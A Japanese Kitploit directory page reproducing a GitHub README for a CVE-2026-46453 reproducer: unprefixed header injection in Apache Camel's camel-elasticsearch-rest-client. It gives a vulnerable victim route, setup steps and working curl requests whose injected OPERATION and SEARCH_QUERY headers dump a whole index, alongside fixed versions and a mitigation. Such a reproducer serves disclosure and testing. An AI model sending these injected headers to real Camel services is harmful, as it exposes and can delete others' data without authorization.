Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-46453 — CVE-2026-46453の再現ツール — Apache Camel camel-elasticsearch-rest-client プレフィックスなしヘッダーインジェクション(受信HTTPヘッダーによる操作/クエリのオーバーライド) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-46453
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育
GitHuboscerd/cve-2026-46453

CVE-2026-46453

CVE-2026-46453の再現ツール — Apache Camel camel-elasticsearch-rest-client プレフィックスなしヘッダーインジェクション(受信HTTPヘッダーによる操作/クエリのオーバーライド)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-elasticsearch-rest-client 接頭辞なしヘッダインジェクション再現器 (CVE-2026-46453)

このプロジェクトは、Apache Camelのcamel-elasticsearch-rest-clientコンポーネントにおけるメッセージヘッダインジェクション / 認可バイパスの脆弱性(CVE-2026-46453として追跡)を実証します。このコンポーネントは、動作を制御するためにいくつかのExchangeヘッダ(SEARCH_QUERY、OPERATION、INDEX_NAME、INDEX_SETTINGS、ID)を読み取ります。影響を受けるバージョンでは、これらのヘッダの文字列値は、他のすべてのコンポーネントが使用するCamelプレフィックス付きの名前ではなく、プレフィックスなしの名前("OPERATION"、"SEARCH_QUERY"、…)です。CamelのインバウンドHttpHeaderFilterStrategyはCamel/camelで始まる名前のみをブロックするため、これらのヘッダはインバウンドフィルタを変更されずに通過します。ルートがelasticsearch-rest-clientプロデューサの前にHTTPエントリポイント(例:platform-http)を公開している場合、信頼できないHTTPクライアントはこれらのヘッダを直接設定し、ルート作成者が設定したクエリと操作を上書きできます。これにより、インデックス全体の読み取りやドキュメントの削除などが可能になります。認証情報は不要です。

セキュリティアドバイザリ: https://camel.apache.org/security/CVE-2026-46453.html

脆弱性概要

同じヘッダインジェクションファミリー:CVE-2025-27636、CVE-2025-29891、CVE-2025-30177、CVE-2026-40453、CVE-2026-47323 — すべて、名前がCamelプレフィックスで始まらないためにデフォルトのHeaderFilterStrategyがブロックしないインバウンドヘッダを読み取るコンポーネントに起因します。

技術的詳細

root@kitploit:~
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategyはCamel*/camel*のみをブロックするため、インバウンドHTTPヘッダOPERATION: SEARCH(およびSEARCH_QUERY: {...})は通過し、ルート作成者のoperation=GET_BY_IDを上書きします。修正(4.14.8 / 4.18.3 / 4.21.0)では、値をCamelElasticsearchOperation、CamelElasticsearchSearchQueryなどに変更し、インバウンドフィルタがブロックできるようにしています(Javaのフィールド名は変更されていません)。

被害者ルート

root@kitploit:~
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // ルート作成者は単一の安全な操作を意図:IDによるドキュメントの取得

攻撃者はOPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}}を含むHTTPリクエストを送信し、それを上書きしてインデックス全体をダンプします。

リポジトリ構成

被害者はCamelルートであり、攻撃者はplatform-httpエンドポイントに到達できる任意のHTTPクライアントです。この再現器は、Docker上で実際のElasticsearchを実行し、ホスト上でCamelアプリケーションを実行します(アプリケーションはマッピングされたポートを介してESと通信します)。

root@kitploit:~
CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3(セキュリティ無効)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # 「公開」ドキュメントと「秘密」ドキュメントを投入
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client(GET_BY_ID)
    │   └── ExploitController.java  # 攻撃者:正当なGET_BY_ID vs 注入されたOPERATION=SEARCH
    └── resources/
        └── application.properties

前提条件

  • Java 17以上とMaven 3.8以上
  • Docker(Elasticsearchを実行)

再現手順

ステップ1: Elasticsearchを起動

root@kitploit:~
docker compose up -d
# 準備ができるまで待機:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

ステップ2: アプリケーションをビルドして実行(ホスト上で、ESコンテナと通信)

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# アプリケーションは起動時に'products'インデックスに公開ドキュメントと秘密ドキュメントを投入します

ステップ3: ヘッダインジェクションをトリガー

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# === 1) 正当なリクエスト(ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      秘密が漏洩: false
# === 2) 攻撃リクエスト(OPERATION=SEARCH、SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   秘密が漏洩: true
#
# >>> ヘッダインジェクションの証明 — 攻撃者が操作を上書きし、インデックス全体を読み取りました: true

手動でも可能です — 注入されたヘッダはplatform-httpのインバウンドフィルタをそのまま通過します:

root@kitploit:~
# 正当: ルート作成者のGET_BY_IDが公開ドキュメントのみを返す
curl -s -H "ID: public-1" http://localhost:8080/products
# 攻撃: 操作を上書きし、インデックス全体をダンプ(秘密ドキュメントを含む)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

クリーンアップ

root@kitploit:~
docker compose down

攻撃ベクトル

elasticsearch-rest-clientプロデューサの前にHTTPエントリポイントを公開する任意のルート。攻撃者はインバウンドHTTPリクエストにOPERATION、SEARCH_QUERY、INDEX_NAME、INDEX_SETTINGS、またはIDを設定します。これらはCamelプレフィックスのインバウンドフィルタをバイパスしてプロデューサに到達します。

エクスプロイト条件

  1. 影響を受けるバージョンで、HTTPコンシューマ(例:platform-http)がelasticsearch-rest-clientプロデューサにルーティングしている。
  2. デフォルトのHttpHeaderFilterStrategy(Camel*のみをブロック)が、プレフィックスなしのESヘッダをカバーしていない。

推奨される修正

4.14.8 / 4.18.3 / 4.21.0(CAMEL-23508)にアップグレードします。これにより、ヘッダ値にCamelプレフィックスが付与され、インバウンドフィルタがブロックできるようになります。

緩和策

アップグレードするまでは、プロデューサの前に信頼できないインバウンドメッセージから影響を受けるヘッダを除去します:

root@kitploit:~
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

または、これらの名前をブロックするカスタムHeaderFilterStrategyを適用します。

免責事項

この再現器は、一般公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-elasticsearch-rest-client
影響を受ける定数ElasticSearchRestClientConstant — ID、SEARCH_QUERY、INDEX_SETTINGS、INDEX_NAME、OPERATION(プレフィックスなしの値)
CWECWE-20(不適切な入力検証)+ CWE-639(ユーザー制御キーによる認証バイパス)
影響信頼できないHTTPクライアントがESの操作/クエリを上書き — ドキュメントの読み取り/削除/外部送信
影響を受けるバージョン4.3.0から4.14.8未満、4.15.0から4.18.3未満、4.19.0から4.21.0未満
修正バージョン4.14.8、4.18.3、4.21.0
JIRACAMEL-23508
報告者Yu Bao(PayPal)